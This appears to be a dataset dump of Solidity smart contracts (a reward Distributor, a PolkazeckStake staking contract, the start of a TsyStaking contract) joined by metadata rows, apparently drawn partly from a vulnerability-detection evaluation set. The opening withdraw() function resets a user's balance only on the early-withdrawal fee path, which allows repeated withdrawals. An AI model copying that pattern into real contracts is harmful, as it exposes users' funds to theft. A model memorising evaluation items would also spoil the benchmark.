function getReferralPackageKind(bytes data) private pure returns (uint8) {
if (data.length == 0) {
return 4;
}
if (data.length == 1) {
return uint8(data[0]);
}
return uint8(data[20]);
}
function withdraw() public {
require(userPackages[msg.sender].tokenValue != 0);
uint256 withdrawValue = userPackages[msg.sender].tokenValue.div(rate);
uint256 dateDiff = now - userPackages[msg.sender].since;
if (dateDiff < userPackages[msg.sender].kindOf.mul(30 days)) {
uint256 fee = withdrawValue.mul(packageType[userPackages[msg.sender].kindOf]['fee']).div(100);
withdrawValue = withdrawValue.sub(fee);
coldWalletAddress.transfer(fee);
userPackages[msg.sender].tokenValue = 0;
}
msg.sender.transfer(withdrawValue);
}
function createRawDeposit(address sender, uint256 _value, uint d, uint since) onlyOwner public {
depositMintSince(sender, _value, d, since);
}
function createDeposit(address sender, uint256 _value, uint d) onlyOwner public {
depositMintAndPay(sender, _value, d);
}
function setRate(uint _newRate) onlyOwner public {
require(_newRate != rate && _newRate > 0);
RateChanged(rate, _newRate);
rate = _newRate;
}
function getRate() public view returns (uint) {
return rate;
}
}
| 222,304 | 702 |
8dfa699b787829cf4b48fe689650f6fff30fec70efb83c21853f6b1c10d1bc8b
| 18,020 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/a8/a89C1927450Ee4079241Bfcc3f756A6Ce4a233C9_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 129,302 | 703 |
95c15374d6b37617f6bacc3a38951be8ab4b23e29d37cd33513d7b7ced617f2e
| 24,318 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/PolkazeckStake-0xe1d427c737b66303204a9a4d8653e0fa5da82c58.sol
| 3,647 | 13,627 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
contract PolkazeckStake is Ownable {
using SafeMath for uint256;
uint256 constant DECIMALS = 10 ** 18;
uint256 constant DIVISOR = 10 ** 10;
uint256 constant STAKE_DURATION = 31540000;
uint256 public allocation = 40000000 * DECIMALS;
uint256 public maxStake = 500000 * DECIMALS;
uint256 public minStake = 10000 * DECIMALS;
uint256 public roiPerSeconds = 17361; // 0.15 / 1 day * DIVISOR;
uint256 public totalStaked;
uint256 public totalStakers;
uint private unlocked = 1;
IERC20 public stakeToken;
IERC20[] public rewardToken;
IUniswapV2Router02 public router;
struct Stake {
uint256 createdAt;
uint256 amount;
IERC20 rewardMode;
uint256 lastWithdrawal;
}
mapping(address => Stake) stakes;
modifier lock() {
require(unlocked == 1, "PolkazeckStake: LOCKED");
unlocked = 0;
_;
unlocked = 1;
}
constructor() {
stakeToken = IERC20(0xeDB7b7842F7986a7f211d791e8F306C4Ce82Ba32);
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
}
receive() payable external {
revert();
}
function created(address _staker) external view returns(uint256) {
return stakes[_staker].createdAt;
}
function staked(address _staker) external view returns(uint256) {
return stakes[_staker].amount;
}
function rewardMode(address _staker) external view returns(IERC20) {
return stakes[_staker].rewardMode;
}
function lastWithdrawal(address _staker) external view returns(uint256) {
return stakes[_staker].lastWithdrawal;
}
function newStake(uint256 _amount, IERC20 selectedRewardToken) public lock {
require(stakes[_msgSender()].amount == 0, "newStake: Staking");
require(totalStaked.add(_amount) <= allocation, "newStake: Filled!");
require(_amount <= maxStake, "newStake: Above maximum");
require(_amount >= minStake, "newStake: Below minimum");
require(isRewardToken(selectedRewardToken), "newStake: Reward not available");
uint256 initialBalance = stakeToken.balanceOf(address(this));
require(stakeToken.transferFrom(_msgSender(), address(this), _amount), "newStake: Transfer failed");
uint256 latestBalance = stakeToken.balanceOf(address(this));
uint256 amount = latestBalance.sub(initialBalance);
stakes[_msgSender()] = Stake({createdAt: block.timestamp, amount: amount, rewardMode: selectedRewardToken, lastWithdrawal: block.timestamp});
totalStakers = totalStakers.add(1);
totalStaked = totalStaked.add(amount);
emit NewStake(_msgSender(), address(selectedRewardToken), amount);
}
function _withdraw() internal {
Stake storage stake = stakes[_msgSender()];
if (stake.amount > 0 && stake.createdAt.add(STAKE_DURATION) > stake.lastWithdrawal) {
uint256 thisReward = _roi(stake);
// thisReward to rewardMode
uint256[] memory toReward = toRewardMode(thisReward, address(stake.rewardMode));
uint256 currentReward = toReward[toReward.length - 1];
require(stake.rewardMode.transfer(_msgSender(), currentReward), "Withdraw: Transfer failed");
stake.lastWithdrawal = block.timestamp;
emit Withdraw(_msgSender(), address(stake.rewardMode), currentReward);
}
}
function _exit() internal {
Stake storage stake = stakes[_msgSender()];
require(stake.amount > 0, "_exit: !Staking");
require(stakeToken.transfer(_msgSender(), stake.amount), "_exit: Transfer failed");
totalStaked = totalStaked.sub(stake.amount);
totalStakers = totalStakers.sub(1);
stake.amount = 0;
emit Exit(_msgSender());
}
function withdraw() public lock {
_withdraw();
}
function exit() public lock {
_withdraw();
_exit();
}
function emergencyExit() public lock {
_exit();
}
function roi(address _staker) public view returns(uint256) {
Stake memory stake = stakes[_staker];
return _roi(stake);
}
function _roi(Stake memory _stake) internal view returns(uint256) {
uint256 periodBoundary = Math.min(block.timestamp, _stake.createdAt.add(STAKE_DURATION));
uint256 thisRewardPeriod = periodBoundary.sub(_stake.lastWithdrawal);
return _stake.amount.mul(thisRewardPeriod).mul(roiPerSeconds).div(DIVISOR);
}
function toRewardMode(uint256 _amount, address _token) public view returns(uint256[] memory amounts) {
address weth = router.WETH();
address[] memory path1 = new address [](2);
address[] memory path2 = new address [](3);
if (_token == weth) {
path1[0] = address(stakeToken);
path1[1] = weth;
amounts = toRewardToken(_amount, path1);
} else {
path2[0] = address(stakeToken);
path2[1] = weth;
path2[2] = _token;
amounts = toRewardToken(_amount, path2);
}
}
function toRewardToken(uint256 _amount, address[] memory path) public view returns(uint256[] memory amounts) {
amounts = router.getAmountsOut(_amount, path);
}
function estimateReward(uint256 _amount) public view returns(uint256) {
return _amount.mul(STAKE_DURATION).mul(roiPerSeconds).div(DIVISOR);
}
function isRewardToken(IERC20 _token) public view returns(bool valid) {
valid = false;
for (uint i = 0; i < rewardToken.length; i++) {
if (rewardToken[i] == _token) {
valid = true;
break;
}
}
}
function getAsset(IERC20 _tokenAddress, uint256 _amount) public onlyOwner {
require(_tokenAddress != stakeToken, "getAsset: Not allowed!");
require(_tokenAddress.balanceOf(address(this)) >= _amount, "getAsset: Not enough balance");
_tokenAddress.transfer(owner(), _amount);
emit Withdraw(_msgSender(), address(_tokenAddress), _amount);
}
function setMaxStake(uint256 _max) external onlyOwner {
maxStake = _max;
}
function setMinStake(uint256 _min) external onlyOwner {
minStake = _min;
}
function setRoiPerSeconds(uint256 _roiPerSeconds) external onlyOwner {
roiPerSeconds = _roiPerSeconds;
}
function setAllocation(uint256 _allocation) external onlyOwner {
allocation = _allocation;
}
function addRewardToken(IERC20 _token) external onlyOwner {
rewardToken.push(_token);
}
event NewStake(address indexed staker, address indexed selectedRewardToken, uint256 amount);
event Withdraw(address indexed staker, address indexed rewardToken, uint256 reward);
event Exit(address indexed staker);
}
| 176,373 | 704 |
d25a700068ccd3953a180fe2badf1b8659d497204e04fb83a26a060cd7c71983
| 27,677 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/62/62Afd169606C2ACB114F3B33fD67a7668c0DB3FD_TsyStaking.sol
| 4,278 | 17,064 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
